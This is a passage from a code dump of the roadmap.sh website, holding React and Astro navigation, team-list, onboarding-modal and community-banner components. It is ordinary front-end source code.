</li>\n      <li className=\"px-1\">\n        <a\n          href=\"/account/friends\"\n          className=\"group flex items-center gap-2 rounded-sm py-2 pr-2 pl-3 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n        >\n          <Users2 className=\"h-4 w-4 stroke-[2px] text-slate-400 group-hover:text-white\" />\n          Friends\n        </a>\n      </li>\n      <li className=\"mt-1 border-t border-t-gray-700/60 px-1 pt-1\">\n        <button\n          onClick={() => {\n            onCreateRoadmap();\n          }}\n          className=\"group flex w-full items-center gap-2 rounded-sm py-2 pr-2 pl-3 text-left text-sm font-medium text-slate-100 hover:bg-slate-700\"\n        >\n          <Plus className=\"h-4 w-4 stroke-[2px] text-slate-400 group-hover:text-white\" />\n          New Roadmap\n        </button>\n      </li>\n      <li className=\"border-b border-b-gray-700/60 px-1 pb-1\">\n        <a\n          href=\"/account/roadmaps\"\n          className=\"group flex items-center gap-2 rounded-sm py-2 pr-2 pl-3 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n        >\n          <Map className=\"h-4 w-4 stroke-[2px] text-slate-400 group-hover:text-white\" />\n          Roadmaps\n        </a>\n      </li>\n      <li className=\"px-1 pt-1\">\n        <button\n          className=\"group flex w-full items-center justify-between rounded-sm py-2 pr-2 pl-3 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n          onClick={() => setIsTeamsOpen(true)}\n        >\n          <span className=\"flex items-center gap-2.5\">\n            <Users2 className=\"h-4 w-4 stroke-[2px] text-slate-400 group-hover:text-white\" />\n            Teams\n          </span>\n          <ChevronRight className=\"h-4 w-4 shrink-0 stroke-[2.5px] text-slate-400 group-hover:text-white\" />\n        </button>\n      </li>\n      <li className=\"px-1\">\n        <button\n          className=\"group flex w-full items-center gap-2 rounded-sm py-2 pr-2 pl-3 text-left text-sm font-medium text-slate-100 hover:bg-slate-700\"\n          type=\"button\"\n          onClick={logout}\n        >\n          <LogOut className=\"h-4 w-4 stroke-[2px] text-slate-400 group-hover:text-white\" />\n          Logout\n        </button>\n      </li>\n    </ul>\n  );\n}\n"
  },
  {
    "path": "src/components/Navigation/DropdownTeamList.tsx",
    "content": "import { ChevronLeft, Loader2, Plus, Users } from 'lucide-react';\nimport { $teamList } from '../../stores/team';\nimport { httpGet } from '../../lib/http';\nimport type { TeamListResponse } from '../TeamDropdown/TeamDropdown';\nimport { useToast } from '../../hooks/use-toast';\nimport { useStore } from '@nanostores/react';\nimport { useEffect, useState } from 'react';\nimport { Spinner } from '../ReactIcons/Spinner';\n\ntype DropdownTeamListProps = {\n  setIsTeamsOpen: (isOpen: boolean) => void;\n};\n\nexport function DropdownTeamList(props: DropdownTeamListProps) {\n  const { setIsTeamsOpen } = props;\n\n  const toast = useToast();\n  const teamList = useStore($teamList);\n\n  const [isLoading, setIsLoading] = useState(true);\n\n  async function getAllTeams() {\n    if (teamList.length > 0) {\n      return;\n    }\n\n    setIsLoading(true);\n    const { response, error } = await httpGet<TeamListResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-get-user-teams`,\n    );\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    $teamList.set(response);\n  }\n\n  useEffect(() => {\n    getAllTeams().finally(() => setIsLoading(false));\n  }, []);\n\n  const loadingIndicator = isLoading && (\n    <div className=\"mt-2 flex animate-pulse flex-col gap-1 px-1 text-center\">\n      <div className=\"h-[35px] rounded-md bg-gray-700\"></div>\n      <div className=\"h-[35px] rounded-md bg-gray-700\"></div>\n      <div className=\"h-[35px] rounded-md bg-gray-700\"></div>\n    </div>\n  );\n\n  return (\n    <>\n      <div className=\"flex items-center justify-between px-2\">\n        <button\n          className=\"mt-1 flex h-5 w-5 items-center justify-center rounded-sm text-slate-400 hover:bg-slate-50/10 hover:text-slate-50\"\n          onClick={() => setIsTeamsOpen(false)}\n        >\n          <ChevronLeft className=\"h-4 w-4 stroke-[2.5px]\" />\n        </button>\n        <a\n          className=\"mt-1 flex h-5 w-5 items-center justify-center rounded-sm text-slate-400 hover:bg-slate-50/10 hover:text-slate-50\"\n          href=\"/team/new\"\n        >\n          <Plus className=\"h-4 w-4 stroke-[2.5px]\" />\n        </a>\n      </div>\n\n      {loadingIndicator}\n      {!isLoading && (\n        <ul className=\"mt-2\">\n          {teamList?.map((team) => {\n            let pageLink = '';\n            if (team.status === 'invited') {\n              pageLink = `/respond-invite?i=${team.memberId}`;\n            } else if (team.status === 'joined') {\n              pageLink = `/teams/${team._id}/activity`;\n            }\n\n            return (\n              <li key={team._id} className=\"px-1\">\n                <a\n                  href={pageLink}\n                  className=\"block truncate rounded-sm px-4 py-2 text-sm font-medium text-slate-100 hover:bg-slate-700\"\n                >\n                  {team.name}\n                </a>\n              </li>\n            );\n          })}\n\n          {teamList.length === 0 && !isLoading && (\n            <li className=\"mt-2 px-1 text-center\">\n              <p className=\"block rounded-sm px-4 py-2 text-sm font-medium text-slate-500\">\n                <Users className=\"mx-auto mb-2 h-7 w-7 text-slate-600\" />\n                No teams found.{' '}\n                <a\n                  className=\"font-medium text-slate-400 underline underline-offset-2 hover:text-slate-300\"\n                  href=\"/teams/new\"\n                >\n                  Create a team\n                </a>\n                .\n              </p>\n            </li>\n          )}\n        </ul>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/Navigation/Navigation.astro",
    "content": "---\nimport { Fragment } from 'react';\nimport { AccountStreak } from '../AccountStreak/AccountStreak';\nimport Icon from '../AstroIcon.astro';\nimport { NavigationDropdown } from '../NavigationDropdown';\nimport { RoadmapDropdownMenu } from '../TopNavDropdowns/RoadmapDropdownMenu';\nimport { AIDropdownMenu } from '../TopNavDropdowns/AIDropdownMenu';\nimport { AccountDropdown } from './AccountDropdown';\nimport { UpgradeProButton } from '../TopNavDropdowns/UpgradeProButton';\n---\n\n<div class='bg-slate-900 py-5 text-white sm:py-8'>\n  <nav class='container flex items-center justify-between'>\n    <div class='flex items-center gap-5'>\n      <a\n        class='flex items-center text-lg font-medium text-white'\n        href='/'\n        aria-label='roadmap.sh'\n      >\n        <Icon icon='logo' />\n      </a>\n\n      <a\n        href='/ai'\n        class='group relative inline text-gray-400 hover:text-white sm:hidden'\n      >\n        AI Tutor\n      </a>\n\n      <!-- Desktop navigation items -->\n      <div class='hidden gap-5 sm:flex sm:items-center'>\n        <NavigationDropdown client:load />\n        <RoadmapDropdownMenu client:load />\n        <AIDropdownMenu client:load />\n        <UpgradeProButton client:only='react' />\n      </div>\n    </div>\n\n    <ul class='hidden h-8 w-[172px] items-center justify-end gap-5 sm:flex'>\n      <li data-guest-required class='hidden'>\n        <a href='/login' class='text-gray-400 hover:text-white'>Login</a>\n      </li>\n      <li class='flex items-center gap-2'>\n        <AccountStreak client:only='react' />\n        <AccountDropdown client:only='react' />\n\n        <a\n          data-guest-required\n          class='flex hidden h-8 w-28 cursor-pointer items-center justify-center rounded-full bg-linear-to-r from-blue-500 to-blue-700 px-4 py-2 text-sm font-medium text-white hover:from-blue-500 hover:to-blue-600'\n          href='/signup'\n        >\n          <span>Sign Up</span>\n        </a>\n      </li>\n    </ul>\n\n    <!-- Mobile Navigation Button -->\n    <button\n      class='block cursor-pointer text-gray-400 hover:text-gray-50 sm:hidden'\n      aria-label='Menu'\n      data-show-mobile-nav\n    >\n      <Icon icon='hamburger' />\n    </button>\n\n    <!-- Mobile Navigation Items -->\n    <div\n      class='fixed top-0 right-0 bottom-0 left-0 z-40 flex hidden items-center bg-slate-900'\n      data-mobile-nav\n    >\n      <button\n        data-close-mobile-nav\n        class='absolute top-6 right-6 block cursor-pointer text-gray-400 hover:text-gray-50'\n        aria-label='Close Menu'\n      >\n        <Icon icon='close' />\n      </button>\n      <ul class='flex w-full flex-col items-center gap-2 md:gap-3'>\n        <li>\n          <a href='/roadmaps' class='text-xl hover:text-blue-300 md:text-lg'>\n            Roadmaps\n          </a>\n        </li>\n        <li>\n          <a href='/ai' class='text-xl hover:text-blue-300 md:text-lg'>\n            AI Tutor\n          </a>\n        </li>\n        <li>\n          <a href='/guides' class='text-xl hover:text-blue-300 md:text-lg'>\n            Guides\n          </a>\n        </li>\n\n        <!-- Links for logged in users -->\n        <li data-auth-required class='hidden'>\n          <a href='/account' class='text-xl hover:text-blue-300 md:text-lg'>\n            Account\n          </a>\n        </li>\n        <li data-auth-required class='hidden'>\n          <button\n            data-logout-button\n            class='text-xl text-red-300 hover:text-red-400 md:text-lg'\n          >\n            Logout\n          </button>\n        </li>\n        <li>\n          <a\n            data-guest-required\n            href='/login'\n            class='hidden text-xl text-white md:text-lg'\n          >\n            Login\n          </a>\n        </li>\n        <li>\n          <a\n            data-guest-required\n            href='/signup'\n            class='hidden text-xl text-green-300 hover:text-green-400 md:text-lg'\n          >\n            Sign Up\n          </a>\n        </li>\n      </ul>\n    </div>\n  </nav>\n</div>\n\n<script src='./navigation.ts'></script>\n"
  },
  {
    "path": "src/components/Navigation/NewIndicator.astro",
    "content": "<span class='absolute -right-[11px] top-0'>\n  <span class='relative flex h-2 w-2'>\n    <span\n      class='absolute inline-flex h-full w-full animate-ping rounded-full bg-sky-400 opacity-75'\n    ></span>\n    <span class='relative inline-flex h-2 w-2 rounded-full bg-sky-500'></span>\n  </span>\n</span>\n"
  },
  {
    "path": "src/components/Navigation/NotificationIndicator.tsx",
    "content": "import { cn } from '../../lib/classname.ts';\n\ntype NotificationIndicatorProps = {\n  className?: string;\n};\nexport function NotificationIndicator(props: NotificationIndicatorProps) {\n  const { className = '' } = props;\n\n  return (\n    <span\n      className={cn(\n        'absolute -top-1 right-0 h-3 w-3 text-xs uppercase tracking-wider',\n        className,\n      )}\n    >\n      <span className=\"absolute inline-flex h-full w-full animate-ping rounded-full bg-green-400 opacity-75\"></span>\n      <span className=\"relative inline-flex h-3 w-3 rounded-full bg-green-500\"></span>\n    </span>\n  );\n}\n"
  },
  {
    "path": "src/components/Navigation/OnboardingModal.tsx",
    "content": "import { ArrowUpRight, Check } from 'lucide-react';\nimport { Modal } from '../Modal';\nimport { cn } from '../../lib/classname';\nimport { useEffect, useMemo, useState } from 'react';\nimport type { AllowedOnboardingStatus } from '../../api/user';\nimport { pageProgressMessage } from '../../stores/page';\nimport { httpPatch } from '../../lib/http';\nimport { useToast } from '../../hooks/use-toast';\nimport type { OnboardingConfig } from './AccountDropdown';\nimport { setAuthToken } from '../../lib/jwt';\nimport { NUDGE_ONBOARDING_KEY } from '../OnboardingNudge.tsx';\n\ntype Task = {\n  id: string;\n  title: string;\n  description: string;\n  status: AllowedOnboardingStatus;\n  url: string;\n  urlText: string;\n  onClick?: () => void;\n};\n\ntype OnboardingModalProps = {\n  onClose: () => void;\n  onboardingConfig: OnboardingConfig;\n  onIgnoreTask?: (taskId: string, status: AllowedOnboardingStatus) => void;\n};\n\nexport function OnboardingModal(props: OnboardingModalProps) {\n  const { onboardingConfig, onClose, onIgnoreTask } = props;\n\n  const toast = useToast();\n  const [selectedTask, setSelectedTask] = useState<Task | null>(null);\n\n  const tasks = useMemo(() => {\n    return [\n      {\n        id: 'updateProgress',\n        title: 'Update your Progress',\n        description: 'Mark your progress on roadmaps',\n        status: onboardingConfig?.onboarding?.updateProgress || 'pending',\n        url: '/roadmaps',\n        urlText: 'Roadmaps List',\n      },\n      {\n        id: 'publishProfile',\n        title: 'Claim a Username',\n        description: 'Optionally create a public profile to share your skills',\n        status: onboardingConfig?.onboarding?.publishProfile || 'pending',\n        url: '/account/update-profile',\n        urlText: 'Update Profile',\n      },\n      {\n        id: 'customRoadmap',\n        title: 'Custom Roadmaps',\n        description: 'Create your own roadmap from scratch',\n        status: onboardingConfig?.onboarding?.customRoadmap || 'pending',\n        url: import.meta.env.DEV\n          ? 'http://localhost:4321'\n          : 'https://draw.roadmap.sh',\n        urlText: 'Create Roadmap',\n      },\n      {\n        id: 'addFriends',\n        title: 'Invite your Friends',\n        description: 'Invite friends to join you on roadmaps',\n        status: onboardingConfig?.onboarding?.addFriends || 'pending',\n        url: '/account/friends',\n        urlText: 'Add Friends',\n        onClick: () => {\n          ignoreOnboardingTask(\n            'addFriends',\n            'done',\n            'Updating status..',\n          ).finally(() => pageProgressMessage.set(''));\n        },\n      },\n      {\n        id: 'roadCard',\n        title: 'Create your Roadmap Card',\n        description: 'Embed your skill card on your github or website',\n        status: onboardingConfig?.onboarding?.roadCard || 'pending',\n        url: '/account/road-card',\n        urlText: 'Create Road Card',\n        onClick: () => {\n          ignoreOnboardingTask('roadCard', 'done', 'Updating status..').finally(\n            () => pageProgressMessage.set(''),\n          );\n        },\n      },\n      {\n        id: 'inviteTeam',\n        title: 'Invite your Team',\n        description: 'Invite your team to collaborate on roadmaps',\n        status: onboardingConfig?.onboarding?.inviteTeam || 'pending',\n        url: '/team/new',\n        urlText: 'Create Team',\n      },\n    ];\n  }, [onboardingConfig]);\n\n  const ignoreOnboardingTask = async (\n    taskId: string,\n    status: AllowedOnboardingStatus,\n    message: string = 'Ignoring Task',\n  ) => {\n    pageProgressMessage.set(message);\n    const { response, error } = await httpPatch(\n      `${import.meta.env.PUBLIC_API_URL}/v1-update-onboarding-config`,\n      {\n        id: taskId,\n        status,\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to ignore task');\n      return;\n    }\n\n    onIgnoreTask?.(taskId, status);\n    setSelectedTask(null);\n  };\n\n  const ignoreForever = async () => {\n    const { response, error } = await httpPatch<{ token: string }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-ignore-onboarding-forever`,\n      {},\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Failed to ignore onboarding');\n      return;\n    }\n\n    setAuthToken(response.token);\n    window.location.reload();\n  };\n\n  const isAllTasksDone = tasks.every(\n    (task) => task.status === 'done' || task.status === 'ignored',\n  );\n  useEffect(() => {\n    if (!isAllTasksDone) {\n      return;\n    }\n\n    pageProgressMessage.set('Finishing Onboarding');\n    ignoreForever().finally(() => {});\n  }, [isAllTasksDone]);\n\n  return (\n    <Modal onClose={onClose} bodyClassName=\"text-black h-auto\">\n      <div className=\"px-4 pb-2 pl-11 pt-4\">\n        <h2 className=\"mb-0.5 text-xl font-semibold\">Welcome to roadmap.sh</h2>\n        <p className=\"text-balance text-sm text-gray-500\">\n          Complete the tasks below to get started!\n        </p>\n      </div>\n\n      <ul\n        className={cn('flex flex-col divide-y', {\n          'border-b': tasks[tasks.length - 1]?.status === 'done',\n        })}\n      >\n        {/*sort to put completed tasks at the end */}\n        {tasks.map((task, taskCounter) => {\n          const isDone = task.status === 'done';\n          const isActive = selectedTask?.id === task.id;\n\n          return (\n            <li\n              key={task.id}\n              data-active={isActive}\n              data-status={task.status}\n              className={cn('group/task px-4 py-2.5', {\n                'bg-gray-100': isDone,\n                'border-t': taskCounter === 0 && isDone,\n              })}\n            >\n              <div\n                className={cn('flex items-start gap-2', {\n                  'opacity-50': task.status === 'done',\n                })}\n              >\n                <span className=\"relative top-px flex h-5 w-5 items-center justify-center\">\n                  {isDone ? (\n                    <Check className=\"h-4 w-4 stroke-[3px] text-green-500\" />\n                  ) : (\n                    <div\n                      className={cn(\n                        'h-4 w-4 rounded-md border border-gray-300',\n                        task.status === 'ignored'\n                          ? 'bg-gray-200'\n                          : 'bg-transparent',\n                      )}\n                    />\n                  )}\n                </span>\n                <div className=\"group-data-[status=ignored]/task:text-gray-400\">\n                  <h3 className=\"flex items-center text-sm font-semibold group-data-[status=done]/task:line-through\">\n                    {task.title}\n\n                    <a\n                      href={task.url}\n                      target=\"_blank\"\n                      className={cn(\n                        'ml-1 inline-block rounded-xl border border-black bg-white pl-1.5 pr-1 text-xs font-normal text-black hover:bg-black hover:text-white',\n                      )}\n                      aria-label=\"Open task in new tab\"\n                      onClick={() => {\n                        if (!task?.onClick) {\n                          return;\n                        }\n\n                        task.onClick();\n                      }}\n                    >\n                      {task.urlText}\n                      <ArrowUpRight className=\"relative -top-[0.5px] ml-0.5 inline-block h-3.5 w-3.5 stroke-[2px]\" />\n                    </a>\n                  </h3>\n                  <p className=\"text-xs text-gray-500 group-data-[status=ignored]/task:text-gray-400\">\n                    {task.description}\n                  </p>\n                </div>\n              </div>\n            </li>\n          );\n        })}\n      </ul>\n\n      <div className=\"mt-2 px-11 pb-5\">\n        <button\n          className=\"w-full rounded-md bg-linear-to-r from-purple-500 to-purple-700 px-4 py-2 text-sm font-medium text-white hover:from-purple-500 hover:to-purple-600\"\n          onClick={onClose}\n        >\n          Do it later\n        </button>\n\n        <button\n          className=\"mt-3 text-sm text-gray-500 underline underline-offset-2 hover:text-black\"\n          onClick={() => {\n            pageProgressMessage.set('Ignoring Onboarding');\n            ignoreForever().finally();\n          }}\n        >\n          Ignore forever\n        </button>\n      </div>\n    </Modal>\n  );\n}\n"
  },
  {
    "path": "src/components/Navigation/navigation.ts",
    "content": "import { logout } from '../../lib/auth';\n\nfunction bindEvents() {\n  document.addEventListener('click', (e) => {\n    const target = e.target as HTMLElement;\n    const dataset = {\n      ...target.dataset,\n      ...target.closest('button')?.dataset,\n    };\n\n    const accountDropdown = document.querySelector('[data-account-dropdown]');\n\n    // If the user clicks on the logout button, remove the token cookie\n    if (dataset.logoutButton !== undefined) {\n      e.preventDefault();\n      logout();\n    } else if (dataset.showMobileNav !== undefined) {\n      document.querySelector('[data-mobile-nav]')?.classList.remove('hidden');\n    } else if (dataset.closeMobileNav !== undefined) {\n      document.querySelector('[data-mobile-nav]')?.classList.add('hidden');\n    } else if (\n      accountDropdown &&\n      !target?.closest('[data-account-dropdown]') &&\n      !accountDropdown.classList.contains('hidden')\n    ) {\n      accountDropdown.classList.add('hidden');\n    }\n  });\n\n  document\n    .querySelector('[data-account-button]')\n    ?.addEventListener('click', (e) => {\n      e.stopPropagation();\n      document\n        .querySelector('[data-account-dropdown]')\n        ?.classList.toggle('hidden');\n    });\n\n  document\n    .querySelector('[data-command-menu]')\n    ?.addEventListener('click', () => {\n      window.dispatchEvent(new CustomEvent('command.k'));\n    });\n}\n\nbindEvents();\n"
  },
  {
    "path": "src/components/NavigationDropdown.tsx",
    "content": "import {\n  BookOpenText, FolderKanban,\n  Menu, Database,\n  ArrowRight,\n  Users\n} from 'lucide-react';\nimport { useEffect, useRef } from 'react';\nimport { cn } from '../lib/classname.ts';\nimport { useOutsideClick } from '../hooks/use-outside-click.ts';\nimport {\n  navigationDropdownOpen,\n  roadmapsDropdownOpen,\n} from '../stores/page.ts';\nimport { useStore } from '@nanostores/react';\n\nconst links = [\n  {\n    link: '/courses/sql',\n    label: 'SQL Course',\n    description: 'Our premium SQL course',\n    Icon: Database,\n    isHighlighted: false,\n    isNew: true,\n  },\n  {\n    link: '/get-started',\n    label: 'Get Started',\n    description: 'Pick a path and get started',\n    Icon: ArrowRight,\n    isHighlighted: false,\n  },\n  {\n    link: '/projects',\n    label: 'Projects',\n    description: 'Skill-up with real-world projects',\n    Icon: FolderKanban,\n    isHighlighted: false,\n  },\n  {\n    link: '/guides',\n    label: 'Guides',\n    description: 'In-depth articles and tutorials',\n    Icon: BookOpenText,\n    isHighlighted: false,\n  },\n  {\n    link: '/teams',\n    label: 'Teams',\n    description: 'Collaborate with your team',\n    Icon: Users,\n    isExternal: false,\n    isHighlighted: false,\n  },\n  {\n    link: '/advertise',\n    label: 'Advertise',\n    description: 'Promote your product or service',\n    Icon: Menu,\n    isHighlighted: false,\n  },\n];\n\nexport function NavigationDropdown() {\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  const $navigationDropdownOpen = useStore(navigationDropdownOpen);\n  const $roadmapsDropdownOpen = useStore(roadmapsDropdownOpen);\n\n  useOutsideClick(dropdownRef, () => {\n    navigationDropdownOpen.set(false);\n  });\n\n  useEffect(() => {\n    if ($roadmapsDropdownOpen) {\n      navigationDropdownOpen.set(false);\n    }\n  }, [$roadmapsDropdownOpen]);\n\n  return (\n    <div className=\"relative flex items-center\" ref={dropdownRef}>\n      <button\n        className={cn('text-gray-400 hover:text-white', {\n          'text-white': $navigationDropdownOpen,\n        })}\n        onClick={() => navigationDropdownOpen.set(true)}\n        onMouseOver={() => navigationDropdownOpen.set(true)}\n        aria-label=\"Open Navigation Dropdown\"\n        aria-expanded={$navigationDropdownOpen}\n      >\n        <Menu className=\"h-5 w-5\" />\n      </button>\n      <div\n        className={cn(\n          'pointer-events-none invisible absolute left-0 top-full z-90 mt-2 w-48 min-w-[320px] -translate-y-1 rounded-lg bg-slate-800 py-2 opacity-0 shadow-xl transition-all duration-100',\n          {\n            'pointer-events-auto visible translate-y-2.5 opacity-100':\n              $navigationDropdownOpen,\n          },\n        )}\n        role=\"menu\"\n      >\n        {links.map((link) => (\n          <a\n            href={link.link}\n            target={link.isExternal ? '_blank' : undefined}\n            rel={link.isExternal ? 'noopener noreferrer' : undefined}\n            key={link.link}\n            className={cn(\n              'group flex items-center gap-3 px-4 py-2.5 text-gray-400 transition-colors hover:bg-slate-700',\n              {\n                'mx-2 mb-1 rounded-md border border-slate-600 bg-slate-700 pl-2.5 text-gray-200 hover:bg-slate-600':\n                  link.isHighlighted,\n              },\n            )}\n            role=\"menuitem\"\n          >\n            <span className=\"flex h-[40px] w-[40px] items-center justify-center rounded-full bg-slate-600 transition-colors group-hover:bg-slate-500 group-hover:text-slate-100\">\n              <link.Icon className=\"inline-block h-5 w-5\" />\n            </span>\n            <span className=\"flex flex-col\">\n              <span className=\"font-medium text-slate-300 transition-colors group-hover:text-slate-100\">\n                {link.label} {link.isNew && <span className=\"text-[10px] font-bold text-black py-0.5 uppercase tracking-wider bg-yellow-400 rounded-full px-1.5 relative -top-0.5\">New</span>}\n              </span>\n              <span className=\"text-sm\">{link.description}</span>\n            </span>\n          </a>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/NavigationDropdownMenu.tsx",
    "content": "import { useRef } from 'react';\nimport type { LucideIcon } from 'lucide-react';\nimport { cn } from '../lib/classname.ts';\nimport { useOutsideClick } from '../hooks/use-outside-click.ts';\n\nexport interface DropdownLink {\n  link: string;\n  label: string;\n  description: string;\n  Icon: LucideIcon;\n  isExternal?: boolean;\n  isHighlighted?: boolean;\n  isNew?: boolean;\n}\n\ninterface NavigationDropdownMenuProps {\n  links: DropdownLink[];\n  trigger: React.ReactNode;\n  isOpen: boolean;\n  onOpen: () => void;\n  onClose: () => void;\n}\n\nexport function NavigationDropdownMenu(props: NavigationDropdownMenuProps) {\n  const { links, trigger, isOpen, onOpen, onClose } = props;\n\n  const dropdownRef = useRef<HTMLDivElement>(null);\n\n  useOutsideClick(dropdownRef, onClose);\n\n  return (\n    <div className=\"relative flex items-center\" ref={dropdownRef}>\n      <button\n        className={cn('text-gray-400 hover:text-white', {\n          'text-white': isOpen,\n        })}\n        onClick={onOpen}\n        onMouseOver={onOpen}\n        aria-label=\"Open Navigation Dropdown\"\n        aria-expanded={isOpen}\n      >\n        {trigger}\n      </button>\n      <div\n        className={cn(\n          'pointer-events-none invisible absolute top-full left-0 z-90 mt-2 w-48 min-w-[320px] -translate-y-1 rounded-lg bg-slate-800 py-2 opacity-0 shadow-xl transition-all duration-100',\n          {\n            'pointer-events-auto visible translate-y-2.5 opacity-100': isOpen,\n          },\n        )}\n        role=\"menu\"\n      >\n        {links.map((link) => (\n          <a\n            href={link.link}\n            target={link.isExternal ? '_blank' : undefined}\n            rel={link.isExternal ? 'noopener noreferrer' : undefined}\n            key={link.link}\n            className={cn(\n              'group flex items-center gap-3 px-4 py-2.5 text-gray-400 transition-colors hover:bg-slate-700',\n              {\n                'mx-2 mb-1 rounded-md border border-slate-600 bg-slate-700 pl-2.5 text-gray-200 hover:bg-slate-600':\n                  link.isHighlighted,\n              },\n            )}\n            role=\"menuitem\"\n          >\n            <span\n              className={cn(\n                'flex h-[40px] w-[40px] items-center justify-center rounded-full bg-slate-600 transition-colors group-hover:bg-slate-500 group-hover:text-slate-100',\n                {\n                  'bg-slate-500 text-slate-100': link.isHighlighted,\n                },\n              )}\n            >\n              <link.Icon className=\"inline-block h-5 w-5\" />\n            </span>\n            <span className=\"flex flex-col\">\n              <span\n                className={cn(\n                  'font-medium text-slate-300 transition-colors group-hover:text-slate-100',\n                  {\n                    'text-white': link.isHighlighted,\n                  },\n                )}\n              >\n                {link.label}{' '}\n                {link.isNew && (\n                  <span className=\"relative -top-0.5 rounded-full bg-yellow-400 px-1.5 py-0.5 text-[10px] font-bold tracking-wider text-black uppercase\">\n                    New\n                  </span>\n                )}\n              </span>\n              <span className=\"text-sm\">{link.description}</span>\n            </span>\n          </a>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/OnboardingNudge.tsx",
    "content": "import { cn } from '../lib/classname.ts';\nimport { memo, useEffect, useState } from 'react';\nimport { useScrollPosition } from '../hooks/use-scroll-position.ts';\nimport { X } from 'lucide-react';\nimport { isOnboardingStripHidden } from '../stores/page.ts';\nimport { useStore } from '@nanostores/react';\n\ntype OnboardingNudgeProps = {\n  onStartOnboarding: () => void;\n};\n\nexport const NUDGE_ONBOARDING_KEY = 'should_nudge_onboarding';\n\nexport function OnboardingNudge(props: OnboardingNudgeProps) {\n  const { onStartOnboarding } = props;\n\n  const [isLoading, setIsLoading] = useState(false);\n\n  const $isOnboardingStripHidden = useStore(isOnboardingStripHidden);\n  const { y: scrollY } = useScrollPosition();\n\n  useEffect(() => {\n    if (localStorage.getItem(NUDGE_ONBOARDING_KEY) === null) {\n      localStorage.setItem(NUDGE_ONBOARDING_KEY, 'true');\n    }\n  }, []);\n\n  if (localStorage.getItem(NUDGE_ONBOARDING_KEY) !== 'true') {\n    return null;\n  }\n\n  if (scrollY < 100) {\n    return null;\n  }\n\n  if ($isOnboardingStripHidden) {\n    return null;\n  }\n\n  // @TODO put it back once <CourseAnnouncement /> is removed\n  return null;\n\n  return (\n    <div\n      className={cn(\n        'fixed left-0 right-0 top-0 z-91 flex w-full items-center justify-center border-b border-b-yellow-500/30 bg-yellow-300 pb-2 pt-1.5',\n        {\n          'striped-loader': isLoading,\n        },\n      )}\n    >\n      <p className=\"text-base font-semibold text-yellow-950\">\n        Welcome! Please take a moment to{' '}\n        <button\n          type=\"button\"\n          onClick={() => {\n            setIsLoading(true);\n            localStorage.setItem(NUDGE_ONBOARDING_KEY, 'false');\n            onStartOnboarding();\n          }}\n          className=\"underline\"\n        >\n          complete onboarding\n        </button>\n        <button\n          type=\"button\"\n          className=\"relative top-[3px] ml-1 px-1 py-1 text-yellow-600 hover:text-yellow-950\"\n          onClick={(e) => {\n            e.stopPropagation();\n            localStorage.setItem(NUDGE_ONBOARDING_KEY, 'false');\n            setIsLoading(true);\n          }}\n        >\n          <X className=\"h-4 w-4\" strokeWidth={3} />\n        </button>\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/OpenSourceBanner.astro",
    "content": "---\nimport { getFormattedStars, getRepositoryRank } from '../lib/github';\nimport { getDiscordInfo } from '../lib/discord';\n\nimport OpenSourceStat from './OpenSourceStat.astro';\n\nconst repoName = 'kamranahmedse/developer-roadmap';\n\nconst starCount = await getFormattedStars(repoName);\nconst repoRank = await getRepositoryRank(repoName);\nconst discordInfo = await getDiscordInfo();\n---\n\n<div class='border-b border-t bg-white py-6 text-left sm:py-16 sm:text-center'>\n  <div class='container max-w-[650px]!'>\n    <p class='text-2xl font-bold sm:text-5xl'>Join the Community</p>\n    <p class='my-2.5 text-sm leading-relaxed text-gray-600 sm:my-5 sm:text-lg'>\n      roadmap.sh is the <a\n        href='https://github.com/search?o=desc&q=stars%3A%3E100000&s=stars&type=Repositories'\n        target='_blank'\n        class='font-medium text-gray-600 underline underline-offset-2 hover:text-black'\n        >{repoRank} most starred project on GitHub</a\n      > and is visited by hundreds of thousands of developers every month.\n    </p>\n\n    <div\n      class='mt-5 grid grid-cols-1 justify-between gap-2 divide-x-0 sm:my-11 sm:grid-cols-3 sm:gap-0 sm:divide-x mb-4 sm:mb-0'\n    >\n      <OpenSourceStat text='GitHub Stars' value={starCount} secondaryValue={repoRank} />\n      <OpenSourceStat text='Registered Users' value={'+2.1M'} secondaryValue=\"+90k\" />\n      <OpenSourceStat\n        text='Discord Members'\n        value={discordInfo.totalFormatted}\n        secondaryValue=\"+2k\"\n      />\n    </div>\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/OpenSourceStat.astro",
    "content": "---\nimport Icon from './AstroIcon.astro';\n\nexport interface Props {\n  secondaryValue?: string;\n  value: string;\n  text: string;\n}\n\nconst { value, text, secondaryValue } = Astro.props;\n\nconst isGitHubStars = text.toLowerCase() === 'github stars';\nconst isRegistered = text.toLowerCase() === 'registered users';\nconst isDiscordMembers = text.toLowerCase() === 'discord members';\n---\n\n<div\n  class='flex items-start sm:items-center justify-start flex-col sm:justify-center sm:gap-0 gap-2 sm:bg-transparent sm:rounded-none rounded-xl p-0 sm:p-4 mb-3 sm:mb-0'\n>\n  {\n    isGitHubStars && (\n      <p class='flex items-center text-sm text-blue-500 sm:flex'>\n        <span class='rounded-md bg-blue-500 px-1 text-white'>Rank {secondaryValue}</span>\n        &nbsp;out of 28M!\n      </p>\n    )\n  }\n\n  {\n    isRegistered && (\n      <p class='flex items-center text-sm text-blue-500 sm:flex'>\n        <span class='mr-1.5 rounded-md bg-blue-500 px-1 text-white'>{secondaryValue}</span>\n        every month\n      </p>\n    )\n  }\n\n  {\n    isDiscordMembers && (\n      <p class='flex items-center text-sm text-blue-500 sm:flex'>\n        <span class='mr-1.5 rounded-md bg-blue-500 px-1 text-white'>{secondaryValue}</span>\n        every month\n      </p>\n    )\n  }\n  <div class=\"flex flex-row items-center sm:flex-col my-1 sm:my-0\">\n    <p\n      class='my-0 sm:my-4 mr-1 sm:mr-0 text-base font-bold sm:w-auto sm:text-5xl'\n    >\n      {value}\n    </p>\n    <p 